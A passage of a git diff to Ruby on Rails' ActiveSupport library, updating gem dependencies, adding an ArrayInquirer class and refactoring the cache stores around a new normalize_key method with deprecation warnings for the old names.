b/activesupport/activesupport.gemspec @@ -7,13 +7,13 @@ Gem::Specification.new do |s| s.summary = 'A toolkit of support libraries and Ruby core extensions extracted from the Rails framework.' s.description = 'A toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Rich support for multibyte strings, internationalization, time zones, and testing.' - s.required_ruby_version = '>= 2.2.1' + s.required_ruby_version = '>= 2.2.2' s.license = 'MIT' s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' - s.homepage = 'http://www.rubyonrails.org' + s.homepage = 'http://rubyonrails.org' s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*'] s.require_path = 'lib' @@ -21,8 +21,7 @@ Gem::Specification.new do |s| s.rdoc_options.concat ['--encoding', 'UTF-8'] s.add_dependency 'i18n', '~> 0.7' - s.add_dependency 'json', '~> 1.7', '>= 1.7.7' s.add_dependency 'tzinfo', '~> 1.1' s.add_dependency 'minitest', '~> 5.1' - s.add_dependency 'thread_safe','~> 0.3', '>= 0.3.4' + s.add_dependency 'concurrent-ruby', '~> 1.0', '>= 1.0.2' end diff --git a/activesupport/bin/generate_tables b/activesupport/bin/generate_tables index 71a6b78652..2193533588 100755 --- a/activesupport/bin/generate_tables +++ b/activesupport/bin/generate_tables @@ -50,16 +50,11 @@ module ActiveSupport ([0-9A-F]*); # simple lowercase mapping ([0-9A-F]*)$/ix # simple titlecase mapping codepoint.code = $1.hex - #codepoint.name = $2 - #codepoint.category = $3 codepoint.combining_class = Integer($4) - #codepoint.bidi_class = $5 codepoint.decomp_type = $7 codepoint.decomp_mapping = ($8=='') ? nil : $8.split.collect(&:hex) - #codepoint.bidi_mirrored = ($13=='Y') ? true : false codepoint.uppercase_mapping = ($16=='') ? 0 : $16.hex codepoint.lowercase_mapping = ($17=='') ? 0 : $17.hex - #codepoint.titlecase_mapping = ($18=='') ? nil : $18.hex @ucd.codepoints[codepoint.code] = codepoint end diff --git a/activesupport/bin/test b/activesupport/bin/test new file mode 100755 index 0000000000..404cabba51 --- /dev/null +++ b/activesupport/bin/test @@ -0,0 +1,4 @@ +#!/usr/bin/env ruby +COMPONENT_ROOT = File.expand_path("../../", __FILE__) +require File.expand_path("../tools/test", COMPONENT_ROOT) +exit Minitest.run(ARGV) diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb index 290920dbf8..11569add37 100644 --- a/activesupport/lib/active_support.rb +++ b/activesupport/lib/active_support.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2005-2015 David Heinemeier Hansson +# Copyright (c) 2005-2016 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the @@ -26,6 +26,7 @@ require "active_support/dependencies/autoload" require "active_support/version" require "active_support/logger" require "active_support/lazy_load_hooks" +require "active_support/core_ext/date_and_time/compatibility" module ActiveSupport extend ActiveSupport::Autoload @@ -33,9 +34,13 @@ module ActiveSupport autoload :Concern autoload :Dependencies autoload :DescendantsTracker + autoload :ExecutionWrapper + autoload :Executor autoload :FileUpdateChecker + autoload :EventedFileUpdateChecker autoload :LogSubscriber autoload :Notifications + autoload :Reloader eager_autoload do autoload :BacktraceCleaner @@ -59,6 +64,7 @@ module ActiveSupport autoload :StringInquirer autoload :TaggedLogging autoload :XmlMini + autoload :ArrayInquirer end autoload :Rescuable @@ -72,6 +78,22 @@ module ActiveSupport end cattr_accessor :test_order # :nodoc: + + def self.halt_callback_chains_on_return_false + Callbacks.halt_and_display_warning_on_return_false + end + + def self.halt_callback_chains_on_return_false=(value) + Callbacks.halt_and_display_warning_on_return_false = value + end + + def self.to_time_preserves_timezone + DateAndTime::Compatibility.preserve_timezone + end + + def self.to_time_preserves_timezone=(value) + DateAndTime::Compatibility.preserve_timezone = value + end end autoload :I18n, "active_support/i18n" diff --git a/activesupport/lib/active_support/array_inquirer.rb b/activesupport/lib/active_support/array_inquirer.rb new file mode 100644 index 0000000000..ea328f603e --- /dev/null +++ b/activesupport/lib/active_support/array_inquirer.rb @@ -0,0 +1,46 @@ +module ActiveSupport + # Wrapping an array in an +ArrayInquirer+ gives a friendlier way to check + # its string-like contents: + # + # variants = ActiveSupport::ArrayInquirer.new([:phone, :tablet]) + # + # variants.phone? # => true + # variants.tablet? # => true + # variants.desktop? # => false + class ArrayInquirer < Array + # Passes each element of +candidates+ collection to ArrayInquirer collection. + # The method returns true if any element from the ArrayInquirer collection + # is equal to the stringified or symbolized form of any element in the +candidates+ collection. + # + # If +candidates+ collection is not given, method returns true. + # + # variants = ActiveSupport::ArrayInquirer.new([:phone, :tablet]) + # + # variants.any? # => true + # variants.any?(:phone, :tablet) # => true + # variants.any?('phone', 'desktop') # => true + # variants.any?(:desktop, :watch) # => false + def any?(*candidates, &block) + if candidates.none? + super + else + candidates.any? do |candidate| + include?(candidate.to_sym) || include?(candidate.to_s) + end + end + end + + private + def respond_to_missing?(name, include_private = false) + name[-1] == '?' + end + + def method_missing(name, *args) + if name[-1] == '?' + any?(name[0..-2]) + else + super + end + end + end +end diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb index d06f22ad5c..e161ec4cca 100644 --- a/activesupport/lib/active_support/backtrace_cleaner.rb +++ b/activesupport/lib/active_support/backtrace_cleaner.rb @@ -25,7 +25,7 @@ module ActiveSupport # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!</tt> # These two methods will give you a completely untouched backtrace. # - # Inspired by the Quiet Backtrace gem by Thoughtbot. + # Inspired by the Quiet Backtrace gem by thoughtbot. class BacktraceCleaner def initialize @filters, @silencers = [], [] diff --git a/activesupport/lib/active_support/benchmarkable.rb b/activesupport/lib/active_support/benchmarkable.rb index 805b7a714f..3988b147ac 100644 --- a/activesupport/lib/active_support/benchmarkable.rb +++ b/activesupport/lib/active_support/benchmarkable.rb @@ -38,7 +38,7 @@ module ActiveSupport options[:level] ||= :info result = nil - ms = Benchmark.ms { result = options[:silence] ? silence { yield } : yield } + ms = Benchmark.ms { result = options[:silence] ? logger.silence { yield } : yield } logger.send(options[:level], '%s (%.1fms)' % [ message, ms ]) result else diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb index 837974bc85..bc114e0785 100644 --- a/activesupport/lib/active_support/cache.rb +++ b/activesupport/lib/active_support/cache.rb @@ -8,6 +8,7 @@ require 'active_support/core_ext/numeric/bytes' require 'active_support/core_ext/numeric/time' require 'active_support/core_ext/object/to_param' require 'active_support/core_ext/string/inflections' +require 'active_support/core_ext/string/strip' module ActiveSupport # See ActiveSupport::Cache::Store for documentation. @@ -26,7 +27,7 @@ module ActiveSupport end class << self - # Creates a new CacheStore object according to the given options. + # Creates a new Store object according to the given options. # # If no arguments are passed to this method, then a new # ActiveSupport::Cache::MemoryStore object will be returned. @@ -157,20 +158,20 @@ module ActiveSupport attr_reader :silence, :options alias :silence? :silence - # Create a new cache. The options will be passed to any write method calls + # Creates a new cache. The options will be passed to any write method calls # except for <tt>:namespace</tt> which can be used to set the global # namespace for the cache. def initialize(options = nil) @options = options ? options.dup : {} end - # Silence the logger. + # Silences the logger. def silence! @silence = true self end - # Silence the logger within a block. + # Silences the logger within a block. def mute previous_silence, @silence = defined?(@silence) && @silence, true yield @@ -197,10 +198,17 @@ module ActiveSupport # cache.fetch('city') # => "Duckburgh" # # You may also specify additional options via the +options+ argument. - # Setting <tt>force: true</tt> will force a cache miss: + # Setting <tt>force: true</tt> forces a cache "miss," meaning we treat + # the cache value as missing even if it's present. Passing a block is + # required when `force` is true so this always results in a cache write. # # cache.write('today', 'Monday') - # cache.fetch('today', force: true) # => nil + # cache.fetch('today', force: true) { 'Tuesday' } # => 'Tuesday' + # cache.fetch('today', force: true) # => ArgumentError + # + # The `:force` option is useful when you're calling some other method to + # ask whether you should force a cache write. Otherwise, it's clearer to + # just call `Cache#write`. # # Setting <tt>:compress</tt> will store a large cache entry set by the call # in a compressed format. @@ -254,10 +262,11 @@ module ActiveSupport # end # end # - # # val_1 => "new value 1" - # # val_2 => "original value" - # # sleep 10 # First thread extend the life of cache by another 10 seconds - # # cache.fetch('foo') => "new value 1" + # cache.fetch('foo') # => "original value" + # sleep 10 # First thread extended the life of cache by another 10 seconds + # cache.fetch('foo') # => "new value 1" + # val_1 # => "new value 1" + # val_2 # => "original value" # # Other options will be handled by the specific cache store implementation. # Internally, #fetch calls #read_entry, and calls #write_entry on a cache @@ -275,16 +284,23 @@ module ActiveSupport def fetch(name, options = nil) if block_given? options = merged_options(options) - key = namespaced_key(name, options) + key = normalize_key(name, options) - cached_entry = find_cached_entry(key, name, options) unless options[:force] - entry = handle_expired_entry(cached_entry, key, options) + entry = nil + instrument(:read, name, options) do |payload| + cached_entry = read_entry(key, options) unless options[:force] + entry = handle_expired_entry(cached_entry, key, options) + payload[:super_operation] = :fetch if payload + payload[:hit] = !!entry if payload + end if entry get_entry_value(entry, name, options) else save_block_result_to_cache(name, options) { |_name| yield _name } end + elsif options && options[:force] + raise ArgumentError, 'Missing block: Calling `Cache#fetch` with `force: true` requires a block.' else read(name, options) end @@ -297,7 +313,7 @@ module ActiveSupport # Options are passed to the underlying cache implementation. def read(name, options = nil) options = merged_options(options) - key = namespaced_key(name, options) + key = normalize_key(name, options) instrument(:read, name, options) do |payload| entry = read_entry(key, options) if entry @@ -316,7 +332,7 @@ module ActiveSupport end end - # Read multiple values at once from the cache. Options can be passed + # Reads multiple values at once from the cache. Options can be passed # in the last argument. # # Some cache implementation may optimize this method. @@ -326,21 +342,19 @@ module ActiveSupport options = names.extract_options! options = merged_options(options) - instrument_multi(:read, names, options) do |payload| - results = {} - names.each do |name| - key = namespaced_key(name, options) - entry = read_entry(key, options) - if entry - if entry.expired? - delete_entry(key, options) - else - results[name] = entry.value - end + results = {} + names.each do |name| + key = normalize_key(name, options) + entry = read_entry(key, options) + if entry + if entry.expired? + delete_entry(key, options) + else + results[name] = entry.value end end - results end + results end # Fetches data from the cache, using the given keys. If there is data in @@ -381,7 +395,7 @@ module ActiveSupport instrument(:write, name, options) do entry = Entry.new(value, options) - write_entry(namespaced_key(name, options), entry, options) + write_entry(normalize_key(name, options), entry, options) end end @@ -392,7 +406,7 @@ module ActiveSupport options = merged_options(options) instrument(:delete, name) do - delete_entry(namespaced_key(name, options), options) + delete_entry(normalize_key(name, options), options) end end @@ -403,12 +417,12 @@ module ActiveSupport options = merged_options(options) instrument(:exist?, name) do - entry = read_entry(namespaced_key(name, options), options) + entry = read_entry(normalize_key(name, options), options) (entry && !entry.expired?) || false end end - # Delete all entries with keys matching the pattern. + # Deletes all entries with keys matching the pattern. # # Options are passed to the underlying cache implementation. # @@ -417,7 +431,7 @@ module ActiveSupport raise NotImplementedError.new("#{self.class.name} does not support delete_matched") end - # Increment an integer value in the cache. + # Increments an integer value in the cache. # # Options are passed to the underlying cache implementation. # @@ -426,7 +440,7 @@ module ActiveSupport raise NotImplementedError.new("#{self.class.name} does not support increment") end - # Decrement an integer value in the cache. + # Decrements an integer value in the cache. # # Options are passed to the underlying cache implementation. # @@ -435,7 +449,7 @@ module ActiveSupport raise NotImplementedError.new("#{self.class.name} does not support decrement") end - # Cleanup the cache by removing expired entries. + # Cleanups the cache by removing expired entries. # # Options are passed to the underlying cache implementation. # @@ -444,7 +458,7 @@ module ActiveSupport raise NotImplementedError.new("#{self.class.name} does not support cleanup") end - # Clear the entire cache. Be careful with this method since it could + # Clears the entire cache. Be careful with this method since it could # affect other processes if shared cache is being used. # # The options hash is passed to the underlying cache implementation. @@ -455,7 +469,7 @@ module ActiveSupport end protected - # Add the namespace defined in the options to a pattern designed to + # Adds the namespace defined in the options to a pattern designed to # match keys. Implementations that support delete_matched should call # this method to translate a pattern that matches names into one that # matches namespaced keys. @@ -474,26 +488,26 @@ module ActiveSupport end end - # Read an entry from the cache implementation. Subclasses must implement + # Reads an entry from the cache implementation. Subclasses must implement # this method. def read_entry(key, options) # :nodoc: raise NotImplementedError.new end - # Write an entry to the cache implementation. Subclasses must implement + # Writes an entry to the cache implementation. Subclasses must implement # this method. def write_entry(key, entry, options) # :nodoc: raise NotImplementedError.new end - # Delete an entry from the cache implementation. Subclasses must + # Deletes an entry from the cache implementation. Subclasses must # implement this method. def delete_entry(key, options) # :nodoc: raise NotImplementedError.new end private - # Merge the default options with ones specific to a method call. + # Merges the default options with ones specific to a method call. def merged_options(call_options) # :nodoc: if call_options options.merge(call_options) @@ -502,7 +516,7 @@ module ActiveSupport end end - # Expand key to be a consistent string value. Invoke +cache_key+ if + # Expands key to be a consistent string value. Invokes +cache_key+ if # object responds to +cache_key+. Otherwise, +to_param+ method will be # called. If the key is a Hash, then keys will be sorted alphabetically. def expanded_key(key) # :nodoc: @@ -522,9 +536,9 @@ module ActiveSupport key.to_param end - # Prefix a key with the namespace. Namespace and key will be delimited + # Prefixes a key with the namespace. Namespace and key will be delimited # with a colon. - def namespaced_key(key, options) + def normalize_key(key, options) key = expanded_key(key) namespace = options[:namespace] if options prefix = namespace.is_a?(Proc) ? namespace.call : namespace @@ -532,37 +546,27 @@ module ActiveSupport key end + def namespaced_key(*args) + ActiveSupport::Deprecation.warn(<<-MESSAGE.strip_heredoc) + `namespaced_key` is deprecated and will be removed from Rails 5.1. + Please use `normalize_key` which will return a fully resolved key. + MESSAGE + normalize_key(*args) + end + def instrument(operation, key, options = nil) - log { "Cache #{operation}: #{key}#{options.blank? ? "" : " (#{options.inspect})"}" } + log { "Cache #{operation}: #{normalize_key(key, options)}#{options.blank? ? "" : " (#{options.inspect})"}" } payload = { :key => key } payload.merge!(options) if options.is_a?(Hash) ActiveSupport::Notifications.instrument("cache_#{operation}.active_support", payload){ yield(payload) } end - def instrument_multi(operation, keys, options = nil) - log do - formatted_keys = keys.map { |k| "- #{k}" }.join("\n") - "Caches multi #{operation}:\n#{formatted_keys}#{options.blank? ? "" : " (#{options.inspect})"}" - end - - payload = { key: keys } - payload.merge!(options) if options.is_a?(Hash) - ActiveSupport::Notifications.instrument("cache_#{operation}_multi.active_support", payload) { yield(payload) } - end - def log return unless logger && logger.debug? && !silence? logger.debug(yield) end - def find_cached_entry(key, name, options) - instrument(:read, name, options) do |payload| - payload[:super_operation] = :fetch if payload - read_entry(key, options) - end - end - def handle_expired_entry(entry, key, options) if entry && entry.expired? race_ttl = options[:race_condition_ttl].to_i @@ -580,12 +584,12 @@ module ActiveSupport end def get_entry_value(entry, name, options) - instrument(:fetch_hit, name, options) { |payload| } + instrument(:fetch_hit, name, options) { } entry.value end def save_block_result_to_cache(name, options) - result = instrument(:generate, name, options) do |payload| + result = instrument(:generate, name, options) do yield(name) end @@ -603,7 +607,7 @@ module ActiveSupport class Entry # :nodoc: DEFAULT_COMPRESS_LIMIT = 16.kilobytes - # Create a new cache entry for the specified value. Options supported are + # Creates a new cache entry for the specified value. Options supported are # +:compress+, +:compress_threshold+, and +:expires_in+. def initialize(value, options = {}) if should_compress?(value, options) @@ -622,7 +626,7 @@ module ActiveSupport compressed? ? uncompress(@value) : @value end - # Check if the entry is expired. The +expires_in+ parameter can override + # Checks if the entry is expired. The +expires_in+ parameter can override # the value set when the entry was created. def expired? @expires_in && @created_at + @expires_in <= Time.now.to_f @@ -657,7 +661,7 @@ module ActiveSupport end end - # Duplicate the value in a class. This is used by cache implementations that don't natively + # Duplicates the value in a class. This is used by cache implementations that don't natively # serialize entries to protect against accidental cache modifications. def dup_value! if @value && !compressed? && !(@value.is_a?(Numeric) || @value == true || @value == false) diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb index d08ecd2f7d..99c55b1aa4 100644 --- a/activesupport/lib/active_support/cache/file_store.rb +++ b/activesupport/lib/active_support/cache/file_store.rb @@ -10,25 +10,27 @@ module ActiveSupport # FileStore implements the Strategy::LocalCache strategy which implements # an in-memory cache inside of a block. class FileStore < Store + prepend Strategy::LocalCache attr_reader :cache_path DIR_FORMATTER = "%03X" FILENAME_MAX_SIZE = 228 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write) FILEPATH_MAX_SIZE = 900 # max is 1024, plus some room EXCLUDED_DIRS = ['.', '..'].freeze + GITKEEP_FILES = ['.gitkeep', '.keep'].freeze def initialize(cache_path, options = nil) super(options) @cache_path = cache_path.to_s - extend Strategy::LocalCache end # Deletes all items from the cache. In this case it deletes all the entries in the specified - # file store directory except for .gitkeep. Be careful which directory is specified in your + # file store directory except for .keep or .gitkeep. Be careful which directory is specified in your # config file when using +FileStore+ because everything in that directory will be deleted. def clear(options = nil) - root_dirs = Dir.entries(cache_path).reject {|f| (EXCLUDED_DIRS + [".gitkeep"]).include?(f)} + root_dirs = exclude_from(cache_path, EXCLUDED_DIRS + GITKEEP_FILES) FileUtils.rm_r(root_dirs.collect{|f| File.join(cache_path, f)}) + rescue Errno::ENOENT end # Preemptively iterates through all stored keys and removes the ones which have expired. @@ -59,7 +61,7 @@ module ActiveSupport matcher = key_matcher(matcher, options) search_dir(cache_path) do |path| key = file_path_key(path) - delete_entry(key, options) if key.match(matcher) + delete_entry(path, options) if key.match(matcher) end end end @@ -67,9 +69,8 @@ module ActiveSupport protected def read_entry(key, options) - file_name = key_file_path(key) - if File.exist?(file_name) - File.open(file_name) { |f| Marshal.load(f) } + if File.exist?(key) + File.open(key) { |f| Marshal.load(f) } end rescue => e logger.error("FileStoreError (#{e}): #{e.message}") if logger @@ -77,23 +78,21 @@ module ActiveSupport end def write_entry(key, entry, options) - file_name = key_file_path(key) - return false if options[:unless_exist] && File.exist?(file_name) - ensure_cache_path(File.dirname(file_name)) - File.atomic_write(file_name, cache_path) {|f| Marshal.dump(entry, f)} + return false if options[:unless_exist] && File.exist?(key) + ensure_cache_path(File.dirname(key)) + File.atomic_write(key, cache_path) {|f| Marshal.dump(entry, f)} true end def delete_entry(key, options) - file_name = key_file_path(key) - if File.exist?(file_name) + if File.exist?(key) begin - File.delete(file_name) - delete_empty_directories(File.dirname(file_name)) + File.delete(key) + delete_empty_directories(File.dirname(key)) true rescue => e # Just in case the error was caused by another process deleting the file first. - raise e if File.exist?(file_name) + raise e if File.exist?(key) false end end @@ -117,12 +116,14 @@ module ActiveSupport end # Translate a key into a file path. - def key_file_path(key) - if key.size > FILEPATH_MAX_SIZE - key = Digest::MD5.hexdigest(key) + def normalize_key(key, options) + key = super + fname = URI.encode_www_form_component(key) + + if fname.size > FILEPATH_MAX_SIZE + fname = Digest::MD5.hexdigest(key) end - fname = URI.encode_www_form_component(key) hash = Zlib.adler32(fname) hash, dir_1 = hash.divmod(0x1000) dir_2 = hash.modulo(0x1000) @@ -137,6 +138,14 @@ module ActiveSupport File.join(cache_path, DIR_FORMATTER % dir_1, DIR_FORMATTER % dir_2, *fname_paths) end + def key_file_path(key) + ActiveSupport::Deprecation.warn(<<-MESSAGE.strip_heredoc) + `key_file_path` is deprecated and will be removed from Rails 5.1. + Please use `normalize_key` which will return a fully resolved key or nothing. + MESSAGE + key + end + # Translate a file path into a key. def file_path_key(path) fname = path[cache_path.to_s.size..-1].split(File::SEPARATOR, 4).last @@ -146,7 +155,7 @@ module ActiveSupport # Delete empty directories in the cache. def delete_empty_directories(dir) return if File.realpath(dir) == File.realpath(cache_path) - if Dir.entries(dir).reject {|f| EXCLUDED_DIRS.include?(f)}.empty? + if exclude_from(dir, EXCLUDED_DIRS).empty? Dir.delete(dir) rescue nil delete_empty_directories(File.dirname(dir)) end @@ -173,7 +182,7 @@ module ActiveSupport # Modifies the amount of an already existing integer value that is stored in the cache. # If the key is not found nothing is done. def modify_value(name, amount, options) - file_name = key_file_path(namespaced_key(name, options)) + file_name = normalize_key(name, options) lock_file(file_name) do options = merged_options(options) @@ -185,6 +194,11 @@ module ActiveSupport end end end + + # Exclude entries from source directory + def exclude_from(source, excludes) + Dir.entries(source).reject { |f| excludes.include?(f) } + end end end end diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb index 73ae3acea5..2ca4b51efa 100644 --- a/activesupport/lib/active_support/cache/mem_cache_store.rb +++ b/activesupport/lib/active_support/cache/mem_cache_store.rb @@ -24,9 +24,41 @@ module ActiveSupport # MemCacheStore implements the Strategy::LocalCache strategy which implements # an in-memory cache inside of a block. class MemCacheStore < Store + # Provide support for raw values in the local cache strategy. + module LocalCacheWithRaw # :nodoc: + protected + def read_entry(key, options) + entry = super + if options[:raw] && local_cache && entry + entry = deserialize_entry(entry.value) + end + entry + end + + def write_entry(key, entry, options) # :nodoc: + if options[:raw] && local_cache + raw_entry = Entry.new(entry.value.to_s) + raw_entry.expires_at = entry.expires_at + super(key, raw_entry, options) + else + super + end + end + end + + prepend Strategy::LocalCache + prepend LocalCacheWithRaw + ESCAPE_KEY_CHARS = /[\x00-\x20%\x7F-\xFF]/n - def self.build_mem_cache(*addresses) + # Creates a new Dalli::Client instance with specified addresses and options. + # By default address is equal localhost:11211. + # + # ActiveSupport::Cache::MemCacheStore.build_mem_cache + # # => #<Dalli::Client:0x007f98a47d2028 @servers=["localhost:11211"], @options={}, @ring=nil> + # ActiveSupport::Cache::MemCacheStore.build_mem_cache('localhost:10290') + # # => #<Dalli::Client:0x007f98a47b3a60 @servers=["localhost:10290"], @options={}, @ring=nil> + def self.build_mem_cache(*addresses) # :nodoc: addresses = addresses.flatten options = addresses.extract_options! addresses = ["localhost:11211"] if addresses.empty? @@ -56,9 +88,6 @@ module ActiveSupport UNIVERSAL_OPTIONS.each{|name| mem_cache_options.delete(name)} @data = self.class.build_mem_cache(*(addresses + [mem_cache_options])) end - - extend Strategy::LocalCache - extend LocalCacheWithRaw end # Reads multiple values from the cache using a single call to the @@ -67,16 +96,14 @@ module ActiveSupport options = names.extract_options! options = merged_options(options) - instrument_multi(:read, names, options) do - keys_to_names = Hash[names.map{|name| [escape_key(namespaced_key(name, options)), name]}] - raw_values = @data.get_multi(keys_to_names.keys, :raw => true) - values = {} - raw_values.each do |key, value| - entry = deserialize_entry(value) - values[keys_to_names[key]] = entry.value unless entry.expired? - end - values + keys_to_names = Hash[names.map{|name| [normalize_key(name, options), name]}] + raw_values = @data.get_multi(keys_to_names.keys, :raw => true) + values = {} + raw_values.each do |key, value| + entry = deserialize_entry(value) + values[keys_to_names[key]] = entry.value unless entry.expired? end + values end # Increment a cached value. This method uses the memcached incr atomic @@ -86,11 +113,10 @@ module ActiveSupport def increment(name, amount = 1, options = nil) # :nodoc: options = merged_options(options) instrument(:increment, name, :amount => amount) do - @data.incr(escape_key(namespaced_key(name, options)), amount) + rescue_error_with nil do + @data.incr(normalize_key(name, options), amount) + end end - rescue Dalli::DalliError => e - logger.error("DalliError (#{e}): #{e.message}") if logger - nil end # Decrement a cached value. This method uses the memcached decr atomic @@ -100,20 +126,16 @@ module ActiveSupport def decrement(name, amount = 1, options = nil) # :nodoc: options = merged_options(options) instrument(:decrement, name, :amount => amount) do - @data.decr(escape_key(namespaced_key(name, options)), amount) + rescue_error_with nil do + @data.decr(normalize_key(name, options), amount) + end end - rescue Dalli::DalliError => e - logger.error("DalliError (#{e}): #{e.message}") if logger - nil end # Clear the entire cache on all memcached servers. This method should # be used with care when shared cache is being used. def clear(options = nil) - @data.flush_all - rescue Dalli::DalliError => e - logger.error("DalliError (#{e}): #{e.message}") if logger - nil + rescue_error_with(nil) { @data.flush_all } end # Get the statistics from the memcached servers. @@ -124,10 +146,7 @@ module ActiveSupport protected # Read an entry from the cache. def read_entry(key, options) # :nodoc: - deserialize_entry(@data.get(escape_key(key), options)) - rescue Dalli::DalliError => e - logger.error("DalliError (#{e}): #{e.message}") if logger - nil + rescue_error_with(nil) { deserialize_entry(@data.get(key, options)) } end # Write an entry to the cache. @@ -139,18 +158,14 @@ module ActiveSupport # Set the memcache expire a few minutes in the future to support race condition ttls on read expires_in += 5.minutes end - @data.send(method, escape_key(key), value, expires_in, options) - rescue Dalli::DalliError => e - logger.error("DalliError (#{e}): #{e.message}") if logger - false + rescue_error_with false do + @data.send(method, key, value, expires_in, options) + end end # Delete an entry from the cache. def delete_entry(key, options) # :nodoc: - @data.delete(escape_key(key)) - rescue Dalli::DalliError => e - logger.error("DalliError (#{e}): #{e.message}") if logger - false + rescue_error_with(false) { @data.delete(key) } end private @@ -158,44 +173,35 @@ module ActiveSupport # Memcache keys are binaries. So we need to force their encoding to binary # before applying the regular expression to ensure we are escaping all # characters properly. - def escape_key(key) - key = key.to_s.dup + def normalize_key(key, options) + key = super.dup key = key.force_encoding(Encoding::ASCII_8BIT) key = key.gsub(ESCAPE_KEY_CHARS){ |match| "%#{match.getbyte(0).to_s(16).upcase}" } key = "#{key[0, 213]}:md5:#{Digest::MD5.hexdigest(key)}" if key.size > 250 key end + def escape_key(key) + ActiveSupport::Deprecation.warn(<<-MESSAGE.strip_heredoc) + `escape_key` is deprecated and will be removed from Rails 5.1. + Please use `normalize_key` which will return a fully resolved key or nothing. + MESSAGE + key + end + def deserialize_entry(raw_value) if raw_value entry = Marshal.load(raw_value) rescue raw_value entry.is_a?(Entry) ? entry : Entry.new(entry) - else - nil end end - # Provide support for raw values in the local cache strategy. - module LocalCacheWithRaw # :nodoc: - protected - def read_entry(key, options) - entry = super - if options[:raw] && local_cache && entry - entry = deserialize_entry(entry.value) - end - entry - end - - def write_entry(key, entry, options) # :nodoc: - retval = super - if options[:raw] && local_cache && retval - raw_entry = Entry.new(entry.value.to_s) - raw_entry.expires_at = entry.expires_at - local_cache.write_entry(key, raw_entry, options) - end - retval - end - end + def rescue_error_with(fallback) + yield + rescue Dalli::DalliError => e + logger.error("DalliError (#{e}): #{e.message}") if logger + fallback + end end end end diff --git a/activesupport/lib/active_support/cache/memory_store.rb b/activesupport/lib/active_support/cache/memory_store.rb index 8a0523d0e2..896c28ad8b 100644 --- a/activesupport/lib/active_support/cache/memory_store.rb +++ b/activesupport/lib/active_support/cache/memory_store.rb @@ -75,30 +75,12 @@ module ActiveSupport # Increment an integer value in the cache. def increment(name, amount = 1, options = nil) - synchronize do - options = merged_options(options) - if num = read(name, options) - num = num.to_i + amount - write(name, num, options) - num - else - nil - end - end + modify_value(name, amount, options) end # Decrement an integer value in the cache. def decrement(name, amount = 1, options = nil) - synchronize do - options = merged_options(options) - if num = read(name, options) - num = num.to_i - amount - write(name, num, options) - num - else - nil - end - end + modify_value(name, -amount, options) end def delete_matched(matcher, options = nil) @@ -126,7 +108,7 @@ module ActiveSupport PER_ENTRY_OVERHEAD = 240 - def cached_size(key, entry) + def cached_size(key, entry) # :nodoc: key.to_s.bytesize + entry.size + PER_ENTRY_OVERHEAD end @@ -167,6 +149,19 @@ module ActiveSupport !!entry end end + + private + + def modify_value(name, amount, options) + synchronize do + options = merged_options(options) + if num = read(name, options) + num = num.to_i + amount + write(name, num, options) + num + end + end + end end end end diff --git a/activesupport/lib/active_support/cache/null_store.rb b/activesupport/lib/active_support/cache/null_store.rb index 4427eaafcd..0564ce5312 100644 --- a/activesupport/lib/active_support/cache/null_store.rb +++ b/activesupport/lib/active_support/cache/null_store.rb @@ -8,10 +8,7 @@ module ActiveSupport # be cached inside blocks that utilize this strategy. See # ActiveSupport::Cache::Strategy::LocalCache for more details. class NullStore < Store - def initialize(options = nil) - super(options) - extend Strategy::LocalCache - end + prepend Strategy::LocalCache def clear(options = nil) end diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb index a913736fc3..1c678dc2af 100644 --- a/activesupport/lib/active_support/cache/strategy/local_cache.rb +++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb @@ -60,6 +60,10 @@ module ActiveSupport def delete_entry(key, options) !!@data.delete(key) end + + def fetch_entry(key, options = nil) # :nodoc: + @data.fetch(key) { @data[key] = yield } + end end # Use a local cache for the duration of block. @@ -75,36 +79,35 @@ module ActiveSupport end def clear(options = nil) # :nodoc: - local_cache.clear(options) if local_cache + return super unless cache = local_cache + cache.clear(options) super end def cleanup(options = nil) # :nodoc: - local_cache.clear(options) if local_cache + return super unless cache = local_cache + cache.clear(options) super end def increment(name, amount = 1, options = nil) # :nodoc: + return super unless local_cache value = bypass_local_cache{super} - set_cache_value(value, name, amount, options) + write_cache_value(name, value, options) value end def decrement(name, amount = 1, options = nil) # :nodoc: + return super unless local_cache value = bypass_local_cache{super} - set_cache_value(value, name, amount, options) + write_cache_value(name, value, options) value end protected def read_entry(key, options) # :nodoc: - if local_cache - entry = local_cache.read_entry(key, options) - unless entry - entry = super - local_cache.write_entry(key, entry, options) - end - entry + if cache = local_cache + cache.fetch_entry(key) { super } else super end @@ -120,14 +123,22 @@ module ActiveSupport super end - def set_cache_value(value, name, amount, options) - if local_cache - local_cache.mute do - if value - local_cache.write(name, value, options) - else - local_cache.delete(name, options) - end + def set_cache_value(value, name, amount, options) # :nodoc: + ActiveSupport::Deprecation.warn(<<-MESSAGE.strip_heredoc) + `set_cache_value` is deprecated and will be removed from Rails 5.1. + Please use `write_cache_value` instead. + MESSAGE + write_cache_value name, value, options + end + + def write_cache_value(name, value, options) # :nodoc: + name = normalize_key(name, options) + cache = local_cache + cache.mute do + if value + cache.write(name, value, options) + else + cache.delete(name, options) end end end diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb index 37f9494272..904d3f0eb0 100644 --- a/activesupport/lib/active_support/callbacks.rb +++ b/activesupport/lib/active_support/callbacks.rb @@ -4,7 +4,9 @@ require 'active_support/core_ext/array/extract_options' require 'active_support/core_ext/class/attribute' require 'active_support/core_ext/kernel/reporting' require 'active_support/core_ext/kernel/singleton_class' +require 'active_support/core_ext/module/attribute_accessors' require 'active_support/core_ext/string/filters' +require 'active_support/deprecation' require 'thread' module ActiveSupport @@ 